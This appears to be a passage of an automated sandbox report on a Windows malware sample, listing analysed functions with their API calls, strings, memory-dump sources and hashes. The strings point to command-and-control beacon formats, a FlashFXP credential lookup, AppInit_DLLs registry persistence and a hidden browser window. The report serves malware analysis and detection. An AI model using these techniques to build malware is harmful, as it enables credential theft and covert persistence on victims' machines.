Instruction ID: 638041e7f74e2b46c75c1535d5ef76f15aa532bf5b3977fbb34850ab96fc5943
Opcode Fuzzy Hash: ee70a092113cb82a66864aea72d7e922ec5dd955c6bc6ddcba87379bbd99d211
Instruction Fuzzy Hash: 1B418B71900209FFEB119F65C844BAA7BA9FF44355F14847AF819E6292E778CE80CF54

Function 00408CB7 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 239COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(00000016), ref: 00408E7A

Strings

http, xrefs: 00408E1A
_self, xrefs: 00408ED5
+@, xrefs: 00408CB7

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: ClearVariant
String ID: _self$http$+@
API String ID: 1473721057-3317424838
Opcode ID: ab4bd90ea66eddbce87e6e8c3e150a25643718a252917f3ed87c424215e5f652
Instruction ID: ae9540e34d1dd6ebd4224328a85202065bb39baa52f6123ff81f2465f468f74f
Opcode Fuzzy Hash: ab4bd90ea66eddbce87e6e8c3e150a25643718a252917f3ed87c424215e5f652
Instruction Fuzzy Hash: 6C913D75A00209EFDB00DFA5C988DAEB7B9FF88305B144569E845FB290DB359D41CFA4

Function 00406ADF Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,?,?,?,?,004032CE), ref: 00406B2A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(?,00000000,00000000,00000000,?,00000000,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(?,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069ED

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,?,?,?,?,004032CE), ref: 00406B8C
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406C17

Strings

text/javascript, xrefs: 00406BF3
text/html, xrefs: 00406B01
CLSID, xrefs: 00406B3B, 00406B40, 00406B9D, 00406BB5, 00406C28, 00406C40
SOFTWARE\Classes\MIME\Database\Content Type\, xrefs: 00406AF6, 00406B5D, 00406BE8
application/x-javascript, xrefs: 00406B68

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Open$CloseQueryValue
String ID: CLSID$SOFTWARE\Classes\MIME\Database\Content Type\$application/x-javascript$text/html$text/javascript
API String ID: 3546245721-1332223170
Opcode ID: 52edaa5a59db4a54e65230104dd567da198e5767e6115127b3a1ab9bfcca5398
Instruction ID: b356448af2dda310db5a41c348b39e69e2b2ee30590ea213815e442ef4722270
Opcode Fuzzy Hash: 52edaa5a59db4a54e65230104dd567da198e5767e6115127b3a1ab9bfcca5398
Instruction Fuzzy Hash: 0A4142B2650118AAEB10D6519E81BEB73FCEB44309F1144BBE705F2080FB789F598F69

Function 00406E69 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 130COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00406E78

Strings

.html, xrefs: 00406F14
0, xrefs: 00406EF5
From: , xrefs: 00406F8E
Via: , xrefs: 00406FAF
^key=, xrefs: 00406F2E
^nocrypt, xrefs: 00406F5C
Page generated at: , xrefs: 00407000

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CountTick
String ID: .html$0$From: $Page generated at: $Via: $^key=$^nocrypt
API String ID: 536389180-3563684505
Opcode ID: 61bcf808582cad3b77d14ac24aaddc47d745ec1543ce9a9f2d9a44678f2cfb3e
Instruction ID: 73e0daeea7a9f5f4b783dd0519eebdf5205f1bdf48cad4214514e0173d2ce6b9
Opcode Fuzzy Hash: 61bcf808582cad3b77d14ac24aaddc47d745ec1543ce9a9f2d9a44678f2cfb3e
Instruction Fuzzy Hash: 27416131A0161997CB25EBA2DC51BDE7369FF44308F0044BFB909B71C1EA78AE948F59

Function 0040A786 Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 121sleepmemoryCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710,?,00000000), ref: 0040A7A3
Sleep.KERNEL32(0000EA60,?,?,00000000), ref: 0040A899
Sleep.KERNEL32(00002710,?,?,?,?,?,?,00000000), ref: 0040A8CC
GetProcessHeap.KERNEL32(00000000,Iy@,?,?,?,?,?,?,00000000), ref: 0040A8E5
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 0040A8EC

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Strings

Iy@, xrefs: 0040A8B5, 0040A8E1
0, xrefs: 0040A848
confirm^rev=%s^code=%s^param=%s^os=%s, xrefs: 0040A7BA
Iy@, xrefs: 0040A7F8, 0040A880

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Sleep$Heap$AttemptConnectFreeInternetProcess
String ID: 0$Iy@$Iy@$confirm^rev=%s^code=%s^param=%s^os=%s
API String ID: 3100629401-635595758
Opcode ID: 5ec0742504e8b6ce822cdd6b2f5ebd3a5745a35b302eba6ce41e48f10c7b962e
Instruction ID: 7defdabbc875a2827947a9af70fbac2689cb4d570e6f2fffa55db425585f7fd8
Opcode Fuzzy Hash: 5ec0742504e8b6ce822cdd6b2f5ebd3a5745a35b302eba6ce41e48f10c7b962e
Instruction Fuzzy Hash: C0418372D00618AACB11EBE1DC859DF73BCEF44304F10847BF505B6181EA789A558F9E

Function 00407362 Relevance: 13.6, APIs: 9, Instructions: 114timesynchronizationCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 00407374
GetLocalTime.KERNEL32(?), ref: 00407387
GetLocalTime.KERNEL32(?), ref: 0040738D
GetTimeZoneInformation.KERNEL32(?), ref: 004073C2
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407412
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040741C
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00989680,00000000), ref: 0040747A
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00989680,00000000), ref: 00407485
CloseHandle.KERNEL32(?,?,?,00989680,00000000), ref: 0040748E

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Time$FileLocalSystemTimerWaitable$CloseCreateHandleInformationObjectSingleWaitZone
String ID:
API String ID: 3166187867-0
Opcode ID: acbcbae15964d5679949d3320a4cd6b91d1bec546c7ba48790d4f92562249e59
Instruction ID: 26b14636c49f8a61fb06fac8b942a3fa68f3078aba47330515a101c34858e503
Opcode Fuzzy Hash: acbcbae15964d5679949d3320a4cd6b91d1bec546c7ba48790d4f92562249e59
Instruction Fuzzy Hash: 8B316FB2D1022DAACF04EBE5DD459EEB7BDEF44304F10406AF901B3290E7746A04DB69

Function 004089FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

http, xrefs: 00408B59
+@, xrefs: 004089FD

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID:
String ID: http$+@
API String ID: 0-4127549746
Opcode ID: 819504698f78b8805a17497488f21e22e5f7ead229f15cb656ff7dd09d3720b7
Instruction ID: 8803294073e7eabf7739078d3f203694aecc40311bc63510a67c123621be67c8
Opcode Fuzzy Hash: 819504698f78b8805a17497488f21e22e5f7ead229f15cb656ff7dd09d3720b7
Instruction Fuzzy Hash: 5CA17DB1A00519DFDF00DFA5C984AAEB7B5FF89305B14486AE845FB290DB34AD41CFA4

Function 00403740 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004037AD
SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00403804

Strings

*flashfxp*, xrefs: 004037CE
SOFTWARE\FlashFXP\3, xrefs: 0040375E
&, xrefs: 004037EA
datafolder, xrefs: 0040376D
#, xrefs: 004037DC

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: EnvironmentExpandFolderOpenPathStrings
String ID: #$&$*flashfxp*$SOFTWARE\FlashFXP\3$datafolder
API String ID: 1994525040-4055253781
Opcode ID: 2c9c97cb0e4b331afd6807a12706ed177aa93df05a890f4fa4eae1323a9dc38e
Instruction ID: b84aa35a929ccb2802933dbb7828156d7819aaa5c632eb2dc8c8e19af11b7673
Opcode Fuzzy Hash: 2c9c97cb0e4b331afd6807a12706ed177aa93df05a890f4fa4eae1323a9dc38e
Instruction Fuzzy Hash: 203130B2900118AADB10EAA5DC85DDF7BBCEB44718F10847BF605F3180EA399B458B69

Function 00409909 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004099EB
SysAllocString.OLEAUT32(?), ref: 004099F9

Strings

<domain>, xrefs: 004099BD
</url>, xrefs: 00409917
http://, xrefs: 00409941
</domain>, xrefs: 004099B8
<url>, xrefs: 0040991C

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AllocString
String ID: </domain>$</url>$<domain>$<url>$http://
API String ID: 2525500382-924421446
Opcode ID: 0b84c150fe79eef348fa232134a2979da5830d61bcf949a9e3eece6736197f63
Instruction ID: c36137c4092f7a01c2c9ac5e3109157182881aca1e17db191de13133e2ad13bf
Opcode Fuzzy Hash: 0b84c150fe79eef348fa232134a2979da5830d61bcf949a9e3eece6736197f63
Instruction Fuzzy Hash: D521D876600218A6DB61AB59CC41BDB33E4FB44794F14407FE508B32C2EB785E4D4F99

Function 00408F26 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(753CF6A0), ref: 00408F82
SysFreeString.OLEAUT32(0000000B), ref: 00409046

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 59776c75d333dfe1639c07a446583e94a2c8bfe67c5695638f45226917350801
Instruction ID: f0e6d8e47a3946ab2c5de92fa7688d846ddd73d58da4f3d2da06902102303575
Opcode Fuzzy Hash: 59776c75d333dfe1639c07a446583e94a2c8bfe67c5695638f45226917350801
Instruction Fuzzy Hash: A0616C70A0020AEFDB10DFA9DA845AEBBB2FB48304F2048BAD545F7251D7795E52DF08

Function 0040AC93 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 105sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710), ref: 0040ACAE
Sleep.KERNEL32(0000EA60), ref: 0040AD76
Sleep.KERNEL32(00002710), ref: 0040ADA4

Strings

hOA, xrefs: 0040ACC0
0, xrefs: 0040AD12
job^rev=%s^os=%s, xrefs: 0040ACDB
^rcn=1, xrefs: 0040AD37
d, xrefs: 0040ADB6

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Sleep$AttemptConnectInternet
String ID: 0$^rcn=1$d$hOA$job^rev=%s^os=%s
API String ID: 362191241-2593661552
Opcode ID: 60c93153f542f71cd59072b3db798985f13356a6db38c8d1cd4a9447dcb1fd0e
Instruction ID: b79182b1151443badf469ae5f9ae195c128285790c89deda34db11c37ea10ffc
Opcode Fuzzy Hash: 60c93153f542f71cd59072b3db798985f13356a6db38c8d1cd4a9447dcb1fd0e
Instruction Fuzzy Hash: 0531C471D00208ABCF20ABA6DC859AE77BAEF80309F10847BE505B72C1DA7849558B5B

Function 0040D790 Relevance: 10.8, APIs: 7, Instructions: 275COMMON

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 0040D892
__FindPESection.LIBCMT ref: 0040D8AC

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: 534d7b056b49e296d3a3fc6e9a3ba6c277fd5c62c59754af54bacd0a8e696194
Instruction ID: 4070355c3de93ac57746f54d9fb9ba92a54bad1974282013f33c457a7dad05b0
Opcode Fuzzy Hash: 534d7b056b49e296d3a3fc6e9a3ba6c277fd5c62c59754af54bacd0a8e696194
Instruction Fuzzy Hash: 96A1C172F042158BCB24CF98D981B6E77B1EB84314F56813AD815A73D0DB39AC49CB9D

Function 00408825 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004088E4
SysFreeString.OLEAUT32(?), ref: 004088E9
SysFreeString.OLEAUT32(?), ref: 004089D3
SysFreeString.OLEAUT32(?), ref: 004089D8
SysFreeString.OLEAUT32(?), ref: 004089F3

Strings

+@, xrefs: 0040884C

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: FreeString
String ID: +@
API String ID: 3341692771-3835504741
Opcode ID: 846800c24ea5a5b9ff161930f7f614b8eb87560c1f77c722534116a1327d738e
Instruction ID: a3ddab01b40b0bc50fc9c7e4bf61c95a679aea40eaf3a0ce7d8bcb6f132c7745
Opcode Fuzzy Hash: 846800c24ea5a5b9ff161930f7f614b8eb87560c1f77c722534116a1327d738e
Instruction Fuzzy Hash: BB518171900219AFDF05BFA1CC45AEF7BB8EF08308F00447AF855B6192EB799A51CB59

Function 0040A156 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(eventConn), ref: 0040A18D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0040A1D4
SetParent.USER32(00000000,00000000), ref: 0040A1E2
SetWindowPos.USER32(00000000,00000001,00001388,00001388,00000010,?,00000000), ref: 0040A21E

Part of subcall function 0040A0B5: CoInitialize.OLE32(00000000), ref: 0040A0C0
Part of subcall function 0040A0B5: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
Part of subcall function 0040A0B5: CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

Shell_TrayWnd, xrefs: 0040A1CF
eventConn, xrefs: 0040A188

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Window$AllocCreateFindHandleInitializeModuleParentString
String ID: Shell_TrayWnd$eventConn
API String ID: 2250723864-3455059086
Opcode ID: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction ID: 39c15930e577ecb7297998fc23ff8408fdcdb7101606cb16b0d9d8475b405f16
Opcode Fuzzy Hash: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction Fuzzy Hash: 05216834900214EFDB10AFA4CD89FAB7BB9EF0A311F2046B5F901EA2A1C7755D54CB96

Function 004094B6 Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094E6

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 4d1bc242cb33ba376acabb77e8562130d532cafd4101d87aa7673051eb511c6b
Instruction ID: b8745a711dcf8da59f3798694fa3079dcf63c40c9cdbadd59c4d39193402e254
Opcode Fuzzy Hash: 4d1bc242cb33ba376acabb77e8562130d532cafd4101d87aa7673051eb511c6b
Instruction Fuzzy Hash: C9214832A00108BBDB01DFAADC44B9E7BB8EF48345F1484B6E805F71A1D774AE41DB84

Function 0040A245 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A26B
SysAllocString.OLEAUT32(?), ref: 0040A28E
SysAllocString.OLEAUT32(?), ref: 0040A296
SysFreeString.OLEAUT32(00000000), ref: 0040A2CA
SysFreeString.OLEAUT32(?), ref: 0040A2CF

Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FCE
Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FDE
Part of subcall function 00409FB1: Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
Part of subcall function 00409FB1: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
Part of subcall function 00409FB1: DispatchMessageW.USER32(?), ref: 0040A009

Strings

J(@, xrefs: 0040A29E, 0040A2A1

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: String$AllocCountFreeMessageTick$DispatchPeekSleep_memset
String ID: J(@
API String ID: 3143865713-2848800318
Opcode ID: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction ID: bfa1c3e5fdaec5be4dfb18607c12502589e7fd5433bac8caf4aacda455aa0499
Opcode Fuzzy Hash: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction Fuzzy Hash: 3A118F72D10219ABCB00DFA9DD448DEBBB9FF08354B11456AF415B7290E770AE14CFA4

Function 0040782A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60filetimeCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,?,UniqueNum), ref: 0040784D
CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407864
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00407879
CloseHandle.KERNEL32(00000000), ref: 00407880
GetTickCount.KERNEL32 ref: 00407888

Strings

UniqueNum, xrefs: 00407836

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$CloseCountCreateHandleModuleNameTickTime
String ID: UniqueNum
API String ID: 1853814767-3816303966
Opcode ID: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction ID: 2f8cc66c71eb5b32faf52737d8a911681d4da4e376004c23895cdbe2f04b10ac
Opcode Fuzzy Hash: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction Fuzzy Hash: AE110633419220ABD210AB65EC4CA9B7FACEF45760F004A3AF964E21D0D6349211C7AB

Function 00408604 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 53registryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows NT\CurrentVersion\Windows,00000000,00000001,?), ref: 00408628
GetLastError.KERNEL32 ref: 0040864A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(?,00000000,00000000,00000000,?,00000000,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(?,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069ED

DeleteFileW.KERNEL32(C:\WINDOWS\system32\gbdwpbm.dll), ref: 00408687

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

Strings

C:\WINDOWS\system32\gbdwpbm.dll, xrefs: 00408682
AppInit_DLLs, xrefs: 00408639, 00408671
Software\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 00408619, 0040861E, 00408676

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseCreateDeleteErrorFileLastOpenQueryValue
String ID: AppInit_DLLs$C:\WINDOWS\system32\gbdwpbm.dll$Software\Microsoft\Windows NT\CurrentVersion\Windows
API String ID: 4026185228-3265104503
Opcode ID: fbb25ce4fb2133be7a5b5419f21f392892fccd3598b8746d09e161acbdde3d5e
